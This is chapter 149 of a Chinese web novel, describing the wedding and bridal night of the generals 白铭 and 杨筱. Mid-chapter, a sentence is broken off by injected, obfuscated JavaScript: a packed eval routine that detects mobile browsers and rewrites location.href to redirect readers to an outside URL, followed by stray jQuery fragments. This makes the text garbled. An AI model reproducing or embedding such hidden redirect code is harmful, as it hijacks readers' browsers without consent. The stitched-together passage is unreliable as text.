149.第一百四十九章 流霞奔赴沧海意
作品:《将·长安阵》 不知忙了多久,直到天边云霞也耐不住性子,染红了半边苍穹,凑热闹般挤在天上,候着这万人瞩目的婚礼。
忙前忙后的众人也都歇了下来,每人身上都穿点红色,激动而兴奋地等着两个新人。
府门前的钟离桉也抱着块匾,守着早已研制好的金墨,翘首以盼着。
渐渐地,一阵马挂銮铃声响自远方传来,人群中一阵欢呼,纷纷为其辟出一条路来。
众人眺目一望,但见那皎白的踏月战马正威风凛凛地轻跑而来,脖子上戴着的大红花随着步伐来回摆着。
马背之上,一身婚服的白铭激动而紧张地策马而行,婚服华美而庄重,衬得他身段尤为矫健好看,沧海般的眸子企盼地望着前方,深切之中又透着难以掩盖的少年稚气,就好像久经沙场的将军骤然消失,取而代之的只是一个寻常人家的率性少年罢了。
他攥着缰绳的手不知何时渗出细汗,喉结也滚动几分,紧张自心底油然而生,他望着眼前一幕幕喜庆之景,一时不知是幻是真。
夕阳藏于山下,流出的几许暖光映着天上浮云,而另一半的苍穹湛蓝如海,被日光衬得卷起层层涟漪。
浸满日光的流霞立刻活了起来,涌动着漫过天际,映着粼粼金光向着那海奔去。
天色一阵波动,那所谓沧海像是被触动一般,化作层层波澜涌向那火焰般的流霞。
“来了!新娘来了!”
不知是谁喊了一嗓子,满座众人纷纷兴奋起来,都往街巷另一边望着。
白铭的心脏顿时砰砰跳起来,他下意识地一扯缰绳,朝眼前的喧闹缓缓走去。
一挂鞭炮顿时轰然炸响,纵目一望,但见一道流火从人群中骤然跃出,肆意昂首的赤炼扬蹄嘶鸣着,衬得马上那人更加英姿勃发。
火红的婚服随风而摆,与那天边流霞烧作一片。
她脸上蒙着红纱,虽看不清面容,但却显得那双眼睛格外动人心魄。
杨筱眸子里映着夕阳,噙满笑意,如同一点星火点在苍茫瀚海。
刹那间,一道流光瞬间炸开,将那深不见底的渊池照个通明,炽烈的目光伴着通身燃烧的暖意朝白铭袭来,如一团烈火,彻底点燃整个长安。
白铭顿时溺在杨筱流霞般的眼眸里。他呼吸不觉间急促起来,心脏也越跳越快,脑海里竟全是杨筱策马而来的身影。
他从未见过这样的杨筱。
她眸光闪烁,蕴着从未有过的纵情与笑意,他贪恋而渴求地望着那眸子,欲要看破那若即若离的美貌,却被那随风而起的红纱隐去大半。
新娘不得在众人面前展露容貌,可偏偏那双眼睛是最吸引人的。他想更进一步,却被那飘渺而碰不得的面纱拒之门外,只得痴痴地凝望着那双眸,要将心底所有情意,借着眼波流转,尽数吐出。
白铭见到杨筱,便忘了一切。他一时顾不得许多,策马直朝着杨筱奔去。他脸上的笑容肆意而烂漫,还没跑到杨筱身边,便倾身朝她伸出手去。
那是心底的不由自主,哪怕只能摸到她的衣角,也是值得。
下一刻,那流霞般噙满笑意的眼眸骤然出现在眼前,杨筱也扯着缰绳一俯身,将手稳稳地落在白铭掌心之中,坚定地握着。
一时之间,一白一红两匹战马便那样错身盘旋起来,活像阴阳交合之双鱼,融出万般美景。
人群中又是一阵欢呼,整个长安都为这十指连心跃动起来。
而他们对视的那一瞬间,便已然注定,他们今生,只属于彼此。
“请新郎新娘跨过火盆!”
杨筱拉着白铭回过身来,往前一望,但见府门前铺成长条的炭火燃了起来。
火苗跃动着,宛若天上霞海交界映入地面一般。
杨筱含笑望着白铭,微微一偏头,“准备好了吗?”
“这次,”白铭摩挲着她的指尖,“我可不会分心了。”
杨筱顿时笑了起来,明媚的眸光闪动几分,她轻轻一点头,转而扯着缰绳,“驾!”
“驾!”
刹那间,赤炼和踏月两匹战马同时嘶鸣一声,扬蹄往前奔去。
行至炭火前,他们没有半分犹豫,如天边虹桥一般飞跃而起,肆意跃过。
灼灼火苗闪过他们视线,扰动的烟雾缭乱了眼前盛景。
他们的手还是牵着。
这一跨,是相逢到相知,相爱到相惜;是各凭本事,战场相会;是历尽甘苦,共赴征程。
他们已然携手跨过诸多苦难,赠枪之谊过后相会疆场,此后,便是颍川并肩而立,南阳里应外合,庐江殊死夺命,长安以身破阵……
他们的手从未分开。不止往时今日,还有前路漫漫。他们已然从乱世跨入太平,自然也会携手共行于这盛世。
两杆长枪上束着红绫,在万众欢呼之中矗然立着。
一旁的钟离桉也感慨地点点头,望着那朝气蓬勃而含情脉脉的两个新人,不由得感怀笑叹一声,站起身来。
长笔蕴饱金墨,俊逸洒脱的字体赫然于匾上。
“凌、天、府。”
“快看,陛下为两位将军题匾了!”
众人又是一阵沸腾,杨筱白铭对视一眼翻身下马,齐身向前跪在钟离桉身前,“多谢陛下题匾。”
钟离桉撂下毛笔,倾身将二人扶了起来,“我也算是看着你们一路走来了。”他含笑望着二人,“绫玉,照青。新婚大吉。”
不出片刻,挂了红缎花的匾额便上了府门,吹打之声连天不断,催动着二人的心绪。
他们相望一眼,携手踏入大殿,只见鲜红的绫带挂满房梁,花果香气迎面扑来。他们持着手,满眼真挚地拜过天地,拜过高堂,又起身相望而立。
他们含情脉脉地望着对方,尔后作揖躬身下去。花冠上的坠子轻轻相碰,发出悦耳的脆响,拨动着二人的心弦。
赠枪之谊,战场相认,从此便共同直面这战阵之中的风风雨雨,无数次出生入死,无数次相别又无数次相逢,他们早已溶于对方的血脉之中,在彼此心头不断流淌着。
而在二人相拜,背脊相平之时,往日种种悸动,种种罹难,都被一锤定音,落于心中。
厅堂之内顿时响起一阵欢呼,二人携手而立,感怀地望着台下众人。
一点金光在殿外闪过,杨筱不由得偏头一望——只见他们二人的长枪被捆着红绫,立在门侧,映着最后一抹晚霞,像是为他们证婚一般。
“请二位新人入洞房!”
一切礼节完毕之后,赞礼人侧开身子,为二人让出一条通路,顿时殿内花瓣纷飞,飘落在二人头上。
一片花瓣落在杨筱的面纱之上,映在白铭眸中。他顿时心弦微颤,抬手将那花瓣轻轻摘下,深情的眸光又映于杨筱的眼中,阵起微微涟漪。
房门被轻轻打开,一件再熟悉不过的摆件赫然出现在墙上。
杨筱抬眸一望,但见那七夕擂场上一箭射下的玉璧,正被红绫缠着,牢牢挂在墙上。
她心中顿时淌过一阵暖意,刚回眸要问,却直直撞在白铭怀里。
他顺势抬手揽上杨筱的腰,隔着面纱轻抚着她的脸庞,竟一时不知该说什么,他手上的动作竟和当初告白时一般生硬,只觉时光转瞬而逝,眼前一切如梦似幻,不由得滚下一滴泪水来。
“怎么了这是?”杨筱见状心间一颤,赶忙抬手抚下他的泪水,二人距离骤然拉近,鼻息隔着面纱相互纠缠着。
“当时望着那玉璧,还是我们天各一方之时。”白铭感慨万分地轻叹一声,轻握着杨筱的手放在自己胸前,摇了摇头。他沉吟半晌,破涕为笑道:“我只是觉得,我们一路走来,历经了太多太多。”
他俯身贴近杨筱,摩挲着她的指尖,“我曾觉得,我们成婚是一件很遥远很遥远的事情,而你现在,就这么……站在我的身前。”
杨筱抬手摸了摸白铭的脸,笑道:“好在,这困难种种,我们都挺过来了,不是么?”
“嗯。”白铭深呼一口气,笑着点了点头,郑重地望向杨筱。
眼睫微动,却丝毫遮不住眸中的心绪,白铭浸在杨筱眼里的一片温柔海中,轻轻抬手绕到她脑后,探上那面纱的绳子。
面纱簌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594580|174118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然而落,杨筱的笑颜顿时展现于白铭眼前。他一时竟忘了呼吸,那心脏宛若要跳出胸膛一般。他如获至宝般轻轻抚摸着杨筱的脸颊,眼里尽是款款深情。
“请二位将军共饮交杯酒。”门口候着的侍女看到杨筱面纱已落,赶忙端着酒盏和一盒糕点拜上前来。
杨筱视线不由得先落到那盒桂花糕上,她侧头望向那侍女,“这糕点是……”
侍女颔首道:“这是并州那边有人送来的,说是一定要在二位将军的新婚夜送去。”
“并州有人来送,还不愿出面?”白铭一脸疑惑地看了看那盒糕点,望向杨筱,“阿筱,你有什么头绪吗?”
杨筱看着那最后一块鲤鱼样式的糕点,不由得笑着摇摇头,“当然,她把这鲤鱼糕点送给我,又何尝不是一种,‘遗鲤’呢?”
“你的意思是,这糕点……是萧砚送来的?”
“是啊,”杨筱笑着点了点头,尔后抬眸冲侍女道:“这些糕点吃了可能会嗓子发腻,你先将它端出去,分与宾客,把那只鲤鱼给我留下便好。”
“是。”那侍女一颔首,将两杯酒呈在桌案之上,端着糕点退出门外,又贴心地关上房门。
白铭看着那关上的房门,眸光又落在案前的两杯酒上,纠结道:“阿筱,这酒,咱们要不……”
“今时不同往日,一杯酒而已,不会出什么问题的。”杨筱含笑望着白铭,轻轻摇了摇头,转而端起酒杯,轻轻磕在他的杯沿上。
白铭拗不过她,也捧起杯子,与她交错而摆,却还是微微蹙眉,“我怕你难受,阿筱。”
杨筱心头顿时泛过一阵暖意,她抬手攀上白铭脖颈,轻声唤着,“早在萧砚那里练过了,不会有事的。”她转而轻笑一声,玩味地歪头望向白铭,“更何况,不喝些酒,我怎能对你上下其手呢?”
白铭的脸一下子红了起来,他躲过杨筱的视线,却又不由自主地搂上杨筱的腰,微微俯身往前凑着,顺着杨筱的势,将唇抵在酒杯之上。
杨筱颤动的眼睫霎时间占据了他整个眼帘,他呼吸莫名急促起来,阖眸将那酒一饮而尽。
杨筱咽下喉中辛辣,抬眸望着白铭微红的脸颊,顿时心生一计。她抬手轻抚上白铭的胸膛,一用力将他抵在墙上。
白铭被推得连连后退几步,又怕杨筱闪身,手臂便一直护着她的腰身。他靠在墙上,极力平复着呼吸,胸膛却起伏得更厉害了。
“阿筱……”他轻喘着,试探地望向杨筱那含情脉脉的眼眸,“你……”
话还没说完,便被杨筱仰头吻上。未尽的试探顿时纠缠在二人唇舌之间,缕缕情意充斥在棉絮般的脑海。
一阵酥麻顿时掠过白铭的全身,但见他身体一僵,转而顿时瘫软下来。他搂着杨筱轻靠在墙上,胸腔随着吐息不住地起伏着,却觉一阵灼热的暖意在他身上游走着。
喉结,锁骨,胸膛,腰腹,最后那处颤栗停在他的腰带之处。白铭呼吸一滞,刚想睁眼一问,却在骤然之间,他的腰带被猛地一拽,直直将他拽离墙面,却丝毫没松动半分。
他被突如其来的拉扯呛得轻咳一声,一垂眸,但见杨筱担心地揽着他的脖子,再一低头,只见她的手正抓握着他的腰带。
他的心脏顿时狂跳着,灼热顿时传遍全身。他再也按捺不住,揽着杨筱的腰,伏在她的颈窝步步向前逼着,声音却微微颤抖,“解不开吗?阿筱?”
杨筱被他压得连连后退,一步没走稳便跌坐在床上。她抬眸一望,白铭一刻不缓地压了上来。
只见他一手撑在床上,另一只手绕到自己身后,只消轻轻一拨,便见那腰带骤然滑落,本来规整的衣袍也尽数散落,露出结实的胸膛,和浮于其上的道道伤痕。
杨筱望着那熟悉不过的伤痕,不由得抬手覆上。刹那间,那一缕灼热渗过她的掌心,奔涌在全身血脉之中。
她感受着澎湃而有力的心音,抬眸望去,但见白铭的眸光深情又隐忍,而他的唇瓣微红,似是染了几点胭脂。
她不由得轻笑出声,抬手轻捻上白铭的下唇,“这胭脂竟落到你口上了,夫君。”

